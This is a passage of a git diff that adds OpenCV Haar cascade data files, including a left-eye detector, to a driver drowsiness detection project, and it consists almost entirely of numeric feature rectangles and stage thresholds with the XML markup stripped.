6 3 2 3. + <_> + + <_> + 9 8 2 2 -1. + <_> + 9 9 2 1 2. + <_> + + <_> + 2 11 16 6 -1. + <_> + 2 11 8 3 2. + <_> + 10 14 8 3 2. + <_> + + <_> + 12 7 2 2 -1. + <_> + 13 7 1 1 2. + <_> + 12 8 1 1 2. + <_> + + <_> + 9 5 2 3 -1. + <_> + 9 6 2 1 3. + <_> + + <_> + 9 7 3 2 -1. + <_> + 10 7 1 2 3. + <_> + + <_> + 5 1 8 12 -1. + <_> + 5 7 8 6 2. + <_> + + <_> + 13 5 2 2 -1. + <_> + 13 6 2 1 2. + <_> + + <_> + 5 5 2 2 -1. + <_> + 5 6 2 1 2. + <_> + + <_> + 12 4 3 3 -1. + <_> + 12 5 3 1 3. + <_> + + <_> + 4 14 2 3 -1. + <_> + 4 15 2 1 3. + <_> + + <_> + 12 4 3 3 -1. + <_> + 12 5 3 1 3. + <_> + + <_> + 5 4 3 3 -1. + <_> + 5 5 3 1 3. + <_> + + <_> + 9 14 2 6 -1. + <_> + 10 14 1 3 2. + <_> + 9 17 1 3 2. + <_> + + <_> + 8 14 3 2 -1. + <_> + 9 14 1 2 3. + <_> + + <_> + 9 5 6 6 -1. + <_> + 11 5 2 6 3. + <_> + + <_> + 5 5 6 6 -1. + <_> + 7 5 2 6 3. + <_> + + <_> + 13 13 1 2 -1. + <_> + 13 14 1 1 2. + <_> + + <_> + 0 2 10 2 -1. + <_> + 0 3 10 1 2. + <_> + + <_> + 13 13 1 2 -1. + <_> + 13 14 1 1 2. + <_> + + <_> + 5 7 2 2 -1. + <_> + 5 7 1 1 2. + <_> + 6 8 1 1 2. + <_> + + <_> + 13 5 2 7 -1. + <_> + 13 5 1 7 2. + <_> + + <_> + 6 13 1 2 -1. + <_> + 6 14 1 1 2. + <_> + + <_> + 11 0 3 7 -1. + <_> + 12 0 1 7 3. + <_> + + <_> + 0 3 2 16 -1. + <_> + 0 3 1 8 2. + <_> + 1 11 1 8 2. + <_> + + <_> + 11 0 3 7 -1. + <_> + 12 0 1 7 3. + <_> + + <_> + 6 0 3 7 -1. + <_> + 7 0 1 7 3. + <_> + + <_> + 11 16 8 4 -1. + <_> + 11 16 4 4 2. + <_> + + <_> + 1 16 8 4 -1. + <_> + 5 16 4 4 2. + <_> + + <_> + 13 5 2 7 -1. + <_> + 13 5 1 7 2. + <_> + + <_> + 5 5 2 7 -1. + <_> + 6 5 1 7 2. + <_> + + <_> + 18 6 2 14 -1. + <_> + 18 13 2 7 2. + <_> + + <_> + 6 10 3 4 -1. + <_> + 6 12 3 2 2. + <_> + + <_> + 14 7 1 2 -1. + <_> + 14 8 1 1 2. + <_> + + <_> + 0 1 18 6 -1. + <_> + 0 1 9 3 2. + <_> + 9 4 9 3 2. + <_> + + <_> + 14 7 1 2 -1. + <_> + 14 8 1 1 2. + <_> + + <_> + 0 6 2 14 -1. + <_> + 0 13 2 7 2. + <_> + + <_> + 17 0 3 12 -1. + <_> + 18 0 1 12 3. + <_> + + <_> + 0 6 18 3 -1. + <_> + 0 7 18 1 3. + <_> + + <_> + 6 0 14 16 -1. + <_> + 6 8 14 8 2. + <_> + + <_> + 0 0 3 12 -1. + <_> + 1 0 1 12 3. + <_> + + <_> + 13 0 3 7 -1. + <_> + 14 0 1 7 3. + <_> + + <_> + 5 7 1 2 -1. + <_> + 5 8 1 1 2. + <_> + + <_> + 14 4 6 6 -1. + <_> + 14 6 6 2 3. + <_> + + <_> + 5 7 7 2 -1. + <_> + 5 8 7 1 2. + <_> + + <_> + 8 6 6 9 -1. + <_> + 8 9 6 3 3. + <_> + + <_> + 5 4 6 1 -1. + <_> + 7 4 2 1 3. + <_> + + <_> + 13 0 6 4 -1. + <_> + 16 0 3 2 2. + <_> + 13 2 3 2 2. + <_> + + <_> + 1 2 18 12 -1. + <_> + 1 6 18 4 3. + <_> + + <_> + 3 2 17 12 -1. + <_> + 3 6 17 4 3. + <_> + + <_> + 5 14 7 3 -1. + <_> + 5 15 7 1 3. + <_> + + <_> + 10 14 1 3 -1. + <_> + 10 15 1 1 3. + <_> + + <_> + 3 14 3 3 -1. + <_> + 3 15 3 1 3. + <_> + + <_> + 14 4 6 6 -1. + <_> + 14 6 6 2 3. + <_> + + <_> + 0 4 6 6 -1. + <_> + 0 6 6 2 3. + <_> + + <_> + 12 5 4 3 -1. + <_> + 12 6 4 1 3. + <_> + + <_> + 4 5 4 3 -1. + <_> + 4 6 4 1 3. + <_> + + <_> + 18 0 2 6 -1. + <_> + 18 2 2 2 3. + <_> + + <_> + 8 1 4 9 -1. + <_> + 10 1 2 9 2. + <_> + + <_> + 6 6 8 2 -1. + <_> + 6 6 4 2 2. + <_> + + <_> + 6 5 4 2 -1. + <_> + 6 5 2 1 2. + <_> + 8 6 2 1 2. + <_> + + <_> + 10 5 2 3 -1. + <_> + 10 6 2 1 3. + <_> + + <_> + 9 5 1 3 -1. + <_> + 9 6 1 1 3. + <_> + + <_> + 9 10 2 2 -1. + <_> + 9 11 2 1 2. + <_> + + <_> + 0 8 4 3 -1. + <_> + 0 9 4 1 3. + <_> + + <_> + 6 0 8 6 -1. + <_> + 6 3 8 3 2. + <_> + + <_> + 1 0 6 4 -1. + <_> + 1 0 3 2 2. + <_> + 4 2 3 2 2. + <_> + + <_> + 13 0 3 7 -1. + <_> + 14 0 1 7 3. + <_> + + <_> + 9 16 2 2 -1. + <_> + 9 17 2 1 2. + <_> + + <_> + 11 4 6 10 -1. + <_> + 11 9 6 5 2. + <_> + + <_> + 0 10 19 2 -1. + <_> + 0 11 19 1 2. + <_> + + <_> + 9 5 8 9 -1. + <_> + 9 8 8 3 3. + <_> + + <_> + 4 0 3 7 -1. + <_> + 5 0 1 7 3. + <_> + + <_> + 8 6 4 12 -1. + <_> + 10 6 2 6 2. + <_> + 8 12 2 6 2. + <_> + + <_> + 0 2 6 4 -1. + <_> + 0 4 6 2 2. + <_> + + <_> + 8 15 4 3 -1. + <_> + 8 16 4 1 3. + <_> + + <_> + 8 0 3 7 -1. + <_> + 9 0 1 7 3. + <_> + + <_> + 9 5 3 4 -1. + <_> + 10 5 1 4 3. + <_> + + <_> + 8 5 3 4 -1. + <_> + 9 5 1 4 3. + <_> + + <_> + 7 6 6 1 -1. + <_> + 9 6 2 1 3. + <_> + + <_> + 7 14 4 4 -1. + <_> + 7 14 2 2 2. + <_> + 9 16 2 2 2. + <_> + + <_> + 13 14 4 6 -1. + <_> + 15 14 2 3 2. + <_> + 13 17 2 3 2. + <_> + + <_> + 7 8 1 8 -1. + <_> + 7 12 1 4 2. + <_> + + <_> + 16 0 2 8 -1. + <_> + 17 0 1 4 2. + <_> + 16 4 1 4 2. + <_> + + <_> + 2 0 2 8 -1. + <_> + 2 0 1 4 2. + <_> + 3 4 1 4 2. + <_> + + <_> + 6 1 14 3 -1. + <_> + 6 2 14 1 3. + <_> + + <_> + 7 9 3 10 -1. + <_> + 7 14 3 5 2. + <_> + + <_> + 9 14 2 2 -1. + <_> + 9 15 2 1 2. + <_> + + <_> + 7 7 6 8 -1. + <_> + 7 11 6 4 2. + <_> + + <_> + 9 7 3 6 -1. + <_> + 9 10 3 3 2. + <_> + + <_> + 7 13 3 3 -1. + <_> + 7 14 3 1 3. + <_> + + <_> + 9 9 2 2 -1. + <_> + 9 10 2 1 2. + <_> + + <_> + 0 1 18 2 -1. + <_> + 6 1 6 2 3. + <_> + + <_> + 7 1 6 14 -1. + <_> + 7 8 6 7 2. + <_> + + <_> + 1 9 18 1 -1. + <_> + 7 9 6 1 3. + <_> + + <_> + 9 7 2 2 -1. + <_> + 9 7 1 2 2. + <_> + + <_> + 9 3 2 9 -1. + <_> + 10 3 1 9 2. + <_> + + <_> + 18 14 2 3 -1. + <_> + 18 15 2 1 3. + <_> + + <_> + 7 11 3 1 -1. + <_> + 8 11 1 1 3. + <_> + + <_> + 10 8 3 4 -1. + <_> + 11 8 1 4 3. + <_> + + <_> + 7 14 3 6 -1. + <_> + 8 14 1 6 3. + <_> + + <_> + 10 8 3 4 -1. + <_> + 11 8 1 4 3. + <_> + + <_> + 7 8 3 4 -1. + <_> + 8 8 1 4 3. + <_> + + <_> + 7 9 6 9 -1. + <_> + 7 12 6 3 3. + <_> + + <_> + 0 14 2 3 -1. + <_> + 0 15 2 1 3. + <_> + + <_> + 11 12 1 2 -1. + <_> + 11 13 1 1 2. + <_> + + <_> + 4 3 8 3 -1. + <_> + 8 3 4 3 2. + <_> + + <_> + 0 4 20 6 -1. + <_> + 0 4 10 6 2. + <_> + + <_> + 9 14 1 3 -1. + <_> + 9 15 1 1 3. + <_> + + <_> + 8 14 4 3 -1. + <_> + 8 15 4 1 3. + <_> + + <_> + 0 15 14 4 -1. + <_> + 0 17 14 2 2. + <_> + + <_> + 1 14 18 6 -1. + <_> + 1 17 18 3 2. + <_> + + <_> + 0 0 10 6 -1. + <_> + 0 0 5 3 2. + <_> + 5 3 5 3 2. + diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/haar_cascade_files/haarcascade_lefteye_2splits.xml b/MachineLearning Projects/Driver-Drowsiness-Detection/haar_cascade_files/haarcascade_lefteye_2splits.xml new file mode 100644 index 00000000..9a9ef58f --- /dev/null +++ b/MachineLearning Projects/Driver-Drowsiness-Detection/haar_cascade_files/haarcascade_lefteye_2splits.xml @@ -0,0 +1,7390 @@ + + + +BOOST + HAAR + 20 + 20 + + 33 + + 0 + 20 + + <_> + 5 + -2.3924100399017334e+00 + + <_> + + 0 1 0 2.7325989678502083e-02 -1 -2 1 -7.0568458177149296e-03 + + -9.0600621700286865e-01 9.3385708332061768e-01 + -4.5859959721565247e-01 + <_> + + 0 1 2 -1.2538699805736542e-01 -1 -2 3 + -1.1487299948930740e-01 + + 7.2463721036911011e-01 5.3034168481826782e-01 + -8.3221220970153809e-01 + <_> + + 0 1 4 -5.8309938758611679e-02 -1 -2 5 + -1.7684370279312134e-02 + + 6.5408891439437866e-01 2.9482871294021606e-01 + -7.4809581041336060e-01 + <_> + + 0 1 6 3.5937170032411814e-03 -1 -2 7 -1.3436110457405448e-03 + + -5.0303918123245239e-01 6.5995341539382935e-01 + -5.5740857124328613e-01 + <_> + + 1 0 8 -2.1795940119773149e-03 -1 -2 9 1.1514870449900627e-02 + + -4.2016351222991943e-01 5.9694331884384155e-01 + -8.0508047342300415e-01 + <_> + 7 + -2.6498730182647705e+00 + + <_> + + 1 0 10 -2.2485560178756714e-01 -1 -2 11 + -9.6008004620671272e-03 + + -8.1363201141357422e-01 9.0863138437271118e-01 + -3.2208970189094543e-01 + <_> + + 0 1 12 7.4219167232513428e-02 -1 -2 13 + -5.3165741264820099e-03 + + -7.5329452753067017e-01 8.6339497566223145e-01 + -3.3463571220636368e-02 + <_> + + 1 0 14 -2.1913449745625257e-03 -1 -2 15 + 1.1800959706306458e-02 + + -5.5720347166061401e-01 -3.2359680533409119e-01 + 6.4163821935653687e-01 + <_> + + 1 0 16 -7.6179709285497665e-03 -1 -2 17 + -9.0587511658668518e-03 + + -5.3167867660522461e-01 -7.3611450195312500e-01 + 5.5660772323608398e-01 + <_> + + 1 0 18 -4.9959779717028141e-03 -1 -2 19 + 8.0803930759429932e-03 + + -4.1476911306381226e-01 5.9278357028961182e-01 + -6.7384922504425049e-01 + <_> + + 0 1 20 1.9909010734409094e-03 -1 -2 21 + 1.6845749923959374e-03 + + -4.2145928740501404e-01 5.4679220914840698e-01 + -7.5099450349807739e-01 + <_> + + 1 0 22 -5.0781872123479843e-03 -1 -2 23 + 2.6645609177649021e-03 + + -3.9899548888206482e-01 5.8940601348876953e-01 + -4.6778041124343872e-01 + <_> + 8 + -2.3828399181365967e+00 + + <_> + + 1 0 24 -2.5301438570022583e-01 -1 -2 25 + 2.9663778841495514e-03 + + -7.5402587652206421e-01 -3.5279649496078491e-01 + 8.7992298603057861e-01 + <_> + + 1 0 26 -4.7127649188041687e-02 -1 -2 27 + 1.9500750349834561e-03 + + -5.2234899997711182e-01 -3.0379909276962280e-01 + 7.5204378366470337e-01 + <_> + + 0 1 28 -7.1481026709079742e-02 -1 -2 29 + 2.2189730405807495e-01 + + 6.5841901302337646e-01 -6.0907202959060669e-01 + 5.6842160224914551e-01 + <_> + + 0 1 30 3.3842820674180984e-02 -1 -2 31 + -5.1714561413973570e-04 + + -6.4311647415161133e-01 5.4620361328125000e-01 + -3.9984148740768433e-01 + <_> + + 1 0 32 -3.4458211157470942e-03 -1 -2 33 + 2.4395729415118694e-03 + + -4.5636838674545288e-01 4.7798189520835876e-01 + -9.1247087717056274e-01 + <_> + + 1 0 34 2.1385070867836475e-03 -1 -2 35 + 1.8324409611523151e-03 + + -8.3617758750915527e-01 3.3462798595428467e-01 + -7.5008547306060791e-01 + <_> + + 1 0 36 1.1167610064148903e-03 -1 -2 37 + 9.9106997367925942e-05 + + -6.9083797931671143e-01 -3.4561330080032349e-01 + 4.1183179616928101e-01 + <_> + + 1 0 38 1.5447770245373249e-02 -1 -2 39 + -3.2244939357042313e-02 + + 3.6980190873146057e-01 6.1112838983535767e-01 + -5.5685341358184814e-01 + <_> + 9 + -2.1312201023101807e+00 + + <_> + + 1 0 40 -1.2251129746437073e-01 -1 -2 41 + -1.4230609871447086e-02 + + -6.7026627063751221e-01 8.7802392244338989e-01 + -1.8784180283546448e-01 + <_> + + 1 0 42 -5.9833219274878502e-03 -1 -2 43 + 7.7085137367248535e-02 + + -5.8122849464416504e-01 -5.0395351648330688e-01 + 6.7387360334396362e-01 + <_> + + 0 1 44 -1.1086189746856689e-01 -1 -2 45 + 9.4604760408401489e-02 + + 6.3432037830352783e-01 -4.9726390838623047e-01 + 3.8787439465522766e-01 + <_> + + 0 1 46 1.7696130089461803e-04 -1 -2 47 + 2.0120320841670036e-03 + + -6.3938802480697632e-01 -3.5313910245895386e-01 + 5.1538437604904175e-01 + <_> + + 1 0 48 -1.6102839726954699e-03 -1 -2 49 + 1.6666069859638810e-03 + + -5.1915901899337769e-01 4.0478190779685974e-01 + -6.9496357440948486e-01 + <_> + + 1 0 50 -7.1480998303741217e-04 -1 -2 51 + -4.7647571191191673e-03 + + -4.8945188522338867e-01 -5.0037759542465210e-01 + 4.0796059370040894e-01 + <_> + + 0 1 52 7.8659597784280777e-03 -1 -2 53 + -1.2938310392200947e-03 + + -3.3636429905891418e-01 -6.7621380090713501e-01 + 4.7010248899459839e-01 + <_> + + 1 0 54 -3.6533139063976705e-04 -1 -2 55 + 2.0565679296851158e-03 + + -4.7071608901023865e-01 4.1323411464691162e-01 + -5.5526417493820190e-01 + <_> + + 0 1 56 7.8385717642959207e-05 -1 -2 57 + 1.7511800397187471e-03 + + -5.1521158218383789e-01 3.3417248725891113e-01 + -7.9558157920837402e-01 + <_> + 9 + -2.0176210403442383e+00 + + <_> + + 1 0 58 -6.4695239067077637e-02 -1 -2 59 + 9.5212170854210854e-03 + + -6.1326402425765991e-01 -5.4831558465957642e-01 + 7.8652447462081909e-01 + <_> + + 0 1 60 -9.8109766840934753e-02 -1 -2 61 + -8.5938459634780884e-01 + + 6.9113308191299438e-01 4.5364680886268616e-01 + -5.0026148557662964e-01 + <_> + + 1 0 62 -8.9836172759532928e-02 -1 -2 63 + 2.6945930439978838e-03 + + -5.2928781509399414e-01 -3.8199779391288757e-01 + 5.7821297645568848e-01 + <_> + + 1 0 64 2.5973599404096603e-03 -1 -2 65 + -3.0058110132813454e-03 + + -9.1928368806838989e-01 -8.0213797092437744e-01 + 2.9259279370307922e-01 + <_> + + 1 0 66 -4.5496290549635887e-03 -1 -2 67 + 4.7376728616654873e-03 + + -4.3678951263427734e-01 4.1010880470275879e-01 + -7.2692811489105225e-01 + <_> + + 1 0 68 4.6190437860786915e-03 -1 -2 69 + 4.5377281494438648e-03 + + -8.4895151853561401e-01 3.0124679207801819e-01 + -7.0301771163940430e-01 + <_> + + 1 0 70 -2.4952790699899197e-03 -1 -2 71 + -5.1753767766058445e-03 + + -4.6784749627113342e-01 -7.4530351161956787e-01 + 4.0011820197105408e-01 + <_> + + 0 1 72 -5.2049742080271244e-03 -1 -2 73 + -8.7892003357410431e-02 + + 4.8669269680976868e-01 8.3493947982788086e-01 + -3.3827719092369080e-01 + <_> + + 0 1 74 6.9997250102460384e-03 -1 -2 75 + -9.0990252792835236e-03 + + -2.9039889574050903e-01 6.2315821647644043e-01 + -3.5424730181694031e-01 + <_> + 11 + -2.2212049961090088e+00 + + <_> + + 1 0 76 -5.5702101439237595e-02 -1 -2 77 + 3.4033291041851044e-02 + + -6.9841581583023071e-01 -3.9509189128875732e-01 + 8.0313128232955933e-01 + <_> + + 1 0 78 -4.6199060976505280e-02 -1 -2 79 + -4.8061669804155827e-03 + + -4.8860380053520203e-01 8.0775612592697144e-01 + -7.4490822851657867e-02 + <_> + + 0 1 80 1.8170489929616451e-03 -1 -2 81 + -3.6162370815873146e-03 + + -3.8043528795242310e-01 6.0451722145080566e-01 + -2.2582240402698517e-01 + <_> + + 1 0 82 -1.5706950798630714e-02 -1 -2 83 + 4.3929950334131718e-03 + + -3.7577998638153076e-01 5.4214221239089966e-01 + -3.7388241291046143e-01 + <_> + + 1 0 84 -1.0047219984699041e-04 -1 -2 85 + -8.6475118994712830e-02 + + -4.7433409094810486e-01 5.0186318159103394e-01 + -2.1136230230331421e-01 + <_> + + 0 1 86 -7.7960766851902008e-02 -1 -2 87 + 9.8561286926269531e-02 + + 5.7337349653244019e-01 -3.2515558600425720e-01 + 5.3035980463027954e-01 + <_> + + 0 1 88 -5.4359167814254761e-01 -1 -2 89 + -4.4177699834108353e-02 + + 5.9464299678802490e-01 2.9671078920364380e-01 + -3.8474830985069275e-01 + <_> + + 1 0 90 -8.8016409426927567e-04 -1 -2 91 + 2.6359390467405319e-03 + + -3.2000589370727539e-01 -1.7586140334606171e-01 + 4.8360350728034973e-01 + <_> + + 0 1 92 -1.4203689992427826e-02 -1 -2 93 + -7.3902818257920444e-05 + + -7.7882087230682373e-01 3.0619418621063232e-01 + -3.3196049928665161e-01 + <_> + + 1 0 94 4.6157240867614746e-03 -1 -2 95 + 1.1152310296893120e-02 + + 4.9689778685569763e-01 -5.3435891866683960e-01 + 9.7229443490505219e-02 + <_> + + 0 1 96 -6.0547702014446259e-03 -1 -2 97 + -2.1118740551173687e-03 + + -8.3811217546463013e-01 6.3617032766342163e-01 + -4.8299189656972885e-02 + <_> + 13 + -2.1328830718994141e+00 + + <_> + + 1 0 98 -1.2956829741597176e-02 -1 -2 99 + -2.7141019701957703e-02 + + -6.4874732494354248e-01 7.6293057203292847e-01 + -3.3947870135307312e-01 + <_> + + 0 1 100 4.5119998976588249e-03 -1 -2 101 + 1.2516690418124199e-02 + + -5.0059837102890015e-01 -3.6873328685760498e-01 + 5.9888631105422974e-01 + <_> + + 1 0 102 -6.0557941906154156e-03 -1 -2 103 + -4.6923749148845673e-02 + + -3.8940930366516113e-01 6.3268911838531494e-01 + -2.6270028948783875e-01 + <_> + + 1 0 104 -2.4018269032239914e-03 -1 -2 105 + -1.5936089679598808e-02 + + -5.0517928600311279e-01 6.5526002645492554e-01 + -1.7308109998703003e-01 + <_> + + 0 1 106 1.4000290073454380e-02 -1 -2 107 + 1.3202779926359653e-02 + + -4.1653230786323547e-01 -4.9121969938278198e-01 + 3.7397938966751099e-01 + <_> + + 1 0 108 -2.7658580802381039e-04 -1 -2 109 + -4.8634149134159088e-03 + + -4.5382869243621826e-01 -5.9796881675720215e-01 + 3.1217721104621887e-01 + <_> + + 1 0 110 2.7654920704662800e-03 -1 -2 111 + 2.5534769892692566e-01 + + -7.6476567983627319e-01 -3.4267220646142960e-02 + 7.0786577463150024e-01 + <_> + + 1 0 112 4.6812961809337139e-03 -1 -2 113 + 6.5162130631506443e-03 + + -7.8790861368179321e-01 1.8877579271793365e-01 + -7.9132258892059326e-01 + <_> + + 1 0 114 5.7325329631567001e-02 -1 -2 115 + -1.2718330137431622e-02 + + 6.2349188327789307e-01 3.0860608816146851e-01 + -3.2784330844879150e-01 + <_> + + 1 0 116 -6.7374261561781168e-04 -1 -2 117 + 5.6564649567008018e-03 + + -4.5451548695564270e-01 2.7431339025497437e-01 + -7.8447937965393066e-01 + <_> + + 1 0 118 3.1134090386331081e-03 -1 -2 119 + 2.4249779526144266e-03 + + 3.9738771319389343e-01 -3.5198271274566650e-01 + 3.0490091443061829e-01 + <_> + + 0 1 120 -5.5641461163759232e-02 -1 -2 121 + 4.3548129498958588e-02 + + 4.5575490593910217e-01 -3.3370929956436157e-01 + 2.9501429200172424e-01 + <_> + + 1 0 122 8.0783379962667823e-04 -1 -2 123 + 1.8713270546868443e-03 + + 2.2460040450096130e-01 -6.6048407554626465e-01 + 1.5031670033931732e-01 + <_> + 13 + -1.9884539842605591e+00 + + <_> + + 1 0 124 -4.3516629934310913e-01 -1 -2 125 + 6.2595037743449211e-03 + + -4.9959290027618408e-01 -2.3639589548110962e-01 + 7.9975378513336182e-01 + <_> + + 1 0 126 -6.6518150269985199e-03 -1 -2 127 + -5.7092090137302876e-03 + + -5.4752808809280396e-01 6.4273327589035034e-01 + -2.1511809527873993e-01 + <_> + + 0 1 128 1.9450180232524872e-02 -1 -2 129 + -5.4476498626172543e-03 + + -5.3605002164840698e-01 5.5794501304626465e-01 + -2.1474960446357727e-01 + <_> + + 1 0 130 -1.6347589553333819e-04 -1 -2 131 + 7.1614650078117847e-03 + + -5.5962842702865601e-01 -1.6604369878768921e-01 + 4.6805259585380554e-01 + <_> + + 1 0 132 -1.3145170174539089e-02 -1 -2 133 + -1.1436809785664082e-02 + + -4.1279909014701843e-01 3.7901800870895386e-01 + -4.1791579127311707e-01 + <_> + + 0 1 134 -7.2912001051008701e-03 -1 -2 135 + -5.2170921117067337e-04 + + -7.6089668273925781e-01 3.2527619600296021e-01 + -3.0110970139503479e-01 + <_> + + 1 0 136 3.3754010219126940e-03 -1 -2 137 + 2.5100160855799913e-03 + + -7.8373962640762329e-01 1.8525449931621552e-01 + -5.8084958791732788e-01 + <_> + + 0 1 138 -1.2884209863841534e-03 -1 -2 139 + -1.8726480193436146e-03 + + 2.7339500188827515e-01 1.6819879412651062e-01 + -5.1986902952194214e-01 + <_> + + 1 0 140 2.4010189808905125e-03 -1 -2 141 + 4.8938081599771976e-03 + + -8.2964670658111572e-01 1.6796599328517914e-01 + -6.5530872344970703e-01 + <_> + + 0 1 142 3.1223020050674677e-03 -1 -2 143 + 5.0366491079330444e-02 + + -4.3521308898925781e-01 -5.8327801525592804e-03 + 7.0878309011459351e-01 + <_> + + 1 0 144 3.6151800304651260e-02 -1 -2 145 + -1.3426589965820312e-01 + + 4.4979161024093628e-01 3.9472430944442749e-01 + -3.7588629126548767e-01 + <_> + + 1 0 146 -2.7791369706392288e-02 -1 -2 147 + -1.2712170369923115e-02 + + -2.9488721489906311e-01 -7.2011739015579224e-01 + 3.6595028638839722e-01 + <_> + + 1 0 148 -3.8276749546639621e-04 -1 -2 149 + -6.1330529861152172e-03 + + -4.0581339597702026e-01 -5.2725958824157715e-01 + 3.6040499806404114e-01 + <_> + 16 + -2.0902318954467773e+00 + + <_> + + 1 0 150 -4.7748669981956482e-02 -1 -2 151 + 4.6201851218938828e-03 + + -5.9902387857437134e-01 -2.4887490272521973e-01 + 6.9201582670211792e-01 + <_> + + 1 0 152 -8.5353456437587738e-02 -1 -2 153 + -7.0110969245433807e-03 + + -5.1715832948684692e-01 5.6950652599334717e-01 + -2.4749420583248138e-01 + <_> + + 1 0 154 -7.6567470096051693e-03 -1 -2 155 + -3.5919491201639175e-02 + + -3.7316519021987915e-01 4.9438580870628357e-01 + -3.9586681127548218e-01 + <_> + + 0 1 156 -7.4326626956462860e-02 -1 -2 157 + 9.0118587017059326e-02 + + 5.6755977869033813e-01 -3.8921171426773071e-01 + 3.1079098582267761e-01 + <_> + + 0 1 158 1.6736460849642754e-02 -1 -2 159 + 1.8592580454424024e-03 + + -3.6674138903617859e-01 3.4875720739364624e-01 + -5.7483112812042236e-01 + <_> + + 1 0 160 7.5264140032231808e-03 -1 -2 161 + -3.5309391096234322e-03 + + 6.7878991365432739e-01 4.8617920279502869e-01 + -2.5660640001296997e-01 + <_> + + 1 0 162 -4.9510748795000836e-05 -1 -2 163 + -6.8923248909413815e-03 + + -4.5661240816116333e-01 -5.7134729623794556e-01 + 3.2921048998832703e-01 + <_> + + 1 0 164 6.1156069859862328e-03 -1 -2 165 + -5.5014882236719131e-03 + + -7.1315360069274902e-01 -5.9139078855514526e-01 + 1.9805949926376343e-01 + <_> + + 1 0 166 -4.2378060519695282e-02 -1 -2 167 + 2.2011259570717812e-03 + + -3.8239300251007080e-01 3.3457010984420776e-01 + -4.3032339215278625e-01 + <_> + + 1 0 168 2.1217379253357649e-03 -1 -2 169 + 6.4385468140244484e-03 + + -6.8310022354125977e-01 2.0478610694408417e-01 + -6.1793941259384155e-01 + <_> + + 1 0 170 3.1177410855889320e-03 -1 -2 171 + 4.2230269173160195e-04 + + 5.1137161254882812e-01 -3.6440208554267883e-01 + 2.1073049306869507e-01 + <_> + + 0 1 172 -6.5657291561365128e-03 -1 -2 173 + 2.5686610024422407e-03 + + -6.4581501483917236e-01 2.7643561363220215e-01 + -3.4198498725891113e-01 + <_> + + 1 0 174 -6.2437567976303399e-05 -1 -2 175 + -3.6269261036068201e-03 + + -3.1758078932762146e-01 -8.1051957607269287e-01 + 2.7218630909919739e-01 + <_> + + 1 0 176 -3.4638389479368925e-03 -1 -2 177 + -7.4930191040039062e-02 + + -3.9515769481658936e-01 -5.4353868961334229e-01 + 2.6106119155883789e-01 + <_> + + 0 1 178 -9.7247250378131866e-03 -1 -2 179 + 4.5450199395418167e-03 + + 4.1124871373176575e-01 -3.1576550006866455e-01 + 3.9046970009803772e-01 + <_> + + 0 1 180 -2.7354240883141756e-03 -1 -2 181 + -1.6969470307230949e-02 + + -7.4906748533248901e-01 -6.2437218427658081e-01 + 1.8387380242347717e-01 + <_> + 15 + -1.9407310485839844e+00 + + <_> + + 1 0 182 -2.4978699162602425e-02 -1 -2 183 + -5.8007869869470596e-02 + + -6.0697889328002930e-01 7.1478021144866943e-01 + -2.9943239688873291e-01 + <_> + + 1 0 184 -5.1753749139606953e-03 -1 -2 185 + -8.9618662605062127e-04 + + -3.5297989845275879e-01 5.4417461156845093e-01 + -3.9789950847625732e-01 + <_> + + 1 0 186 -2.8718139219563454e-05 -1 -2 187 + 4.7620530240237713e-03 + + -4.8898181319236755e-01 -3.1144559383392334e-01 + 4.6786791086196899e-01 + <_> + + 0 1 188 1.9751280546188354e-02 -1 -2 189 + -1.2683609966188669e-03 + + -4.3020489811897278e-01 -5.4090851545333862e-01 + 3.9797520637512207e-01 + <_> + + 1 0 190 -4.5749718992738053e-05 -1 -2 191 + 2.4090509396046400e-03 + + -4.4518938660621643e-01 2.8822308778762817e-01 + -5.4514312744140625e-01 + <_> + + 0 1 192 -4.5728669501841068e-03 -1 -2 193 + 8.9018214493989944e-03 + + 5.5039870738983154e-01 -4.1598889231681824e-01 + 1.7468899488449097e-01 + <_> + + 0 1 194 -1.2056449800729752e-01 -1 -2 195 + 4.6919930726289749e-02 + + 6.8890577554702759e-01 -4.2266309261322021e-01 + 1.7010940611362457e-01 + <_> + + 0 1 196 -4.2390259914100170e-03 -1 -2 197 + 3.2174249645322561e-03 + + -6.3045340776443481e-01 -3.6097949743270874e-01 + 2.4933730065822601e-01 + <_> + + 0 1 198 -8.5738790221512318e-04 -1 -2 199 + -1.8432449549436569e-02 + + 3.0993479490280151e-01 9.7758449614048004e-02 + -5.0742352008819580e-01 + <_> + + 1 0 200 5.8692828752100468e-03 -1 -2 201 + -6.8751699291169643e-03 + + -7.4556058645248413e-01 -6.7458391189575195e-01 + 1.5918810665607452e-01 + <_> + + 1 0 202 -6.8542227381840348e-05 -1 -2 203 + -1.0658579878509045e-02 + + -4.1279420256614685e-01 3.7002709507942200e-01 + -2.1731729805469513e-01 + <_> + + 0 1 204 -1.8811509944498539e-03 -1 -2 205 + -2.2309130057692528e-02 + + 5.7902830839157104e-01 1.9725680351257324e-01 + -3.2475191354751587e-01 + <_> + + 1 0 206 6.5826578065752983e-04 -1 -2 207 + -5.0781588070094585e-03 + + -6.0630238056182861e-01 -7.7123302221298218e-01 + 1.8186129629611969e-01 + <_> + + 1 0 208 5.6215081363916397e-02 -1 -2 209 + -3.7720590829849243e-02 + + 5.0561398267745972e-01 3.6052110791206360e-01 + -3.2743760943412781e-01 + <_> + + 1 0 210 3.9480631239712238e-03 -1 -2 211 + -2.4269670248031616e-03 + + -7.5788182020187378e-01 5.2076101303100586e-01 + -6.1021361500024796e-02 + <_> + 19 + -2.1061589717864990e+00 + + <_> + + 1 0 212 -1.6906699165701866e-02 -1 -2 213 + 2.5327840819954872e-02 + + -4.7501268982887268e-01 -4.4016760587692261e-01 + 6.0885351896286011e-01 + <_> + + 0 1 214 -1.5663320198655128e-02 -1 -2 215 + -1.6101899743080139e-01 + + 5.7100051641464233e-01 4.0989148616790771e-01 + -3.8142371177673340e-01 + <_> + + 0 1 216 1.6885380318854004e-04 -1 -2 217 + -3.0552360694855452e-03 + + -4.7958490252494812e-01 4.2852300405502319e-01 + -2.8252631425857544e-01 + <_> + + 1 0 218 4.8042940907180309e-03 -1 -2 219 + -5.0092511810362339e-03 + + -6.8659138679504395e-01 -5.9033542871475220e-01 + 1.9732500612735748e-01 + <_> + + 1 0 220 -3.7119518965482712e-02 -1 -2 221 + 3.7857799325138330e-03 + + -4.3130961060523987e-01 3.3596190810203552e-01 + -3.7401720881462097e-01 + <_> + + 0 1 222 -1.0869850404560566e-02 -1 -2 223 + 4.0577541221864522e-04 + + 5.4841208457946777e-01 -5.0022697448730469e-01 + 5.1423858851194382e-02 + <_> + + 1 0 224 